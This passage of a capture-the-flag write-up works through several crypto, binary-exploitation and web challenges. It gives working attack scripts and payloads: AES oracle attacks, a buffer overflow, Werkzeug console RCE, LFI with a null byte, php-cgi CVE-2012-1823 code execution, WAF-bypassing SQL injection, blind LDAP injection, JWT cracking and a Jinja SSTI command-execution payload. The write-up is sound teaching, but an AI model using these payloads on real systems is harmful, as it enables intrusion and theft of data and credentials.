https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
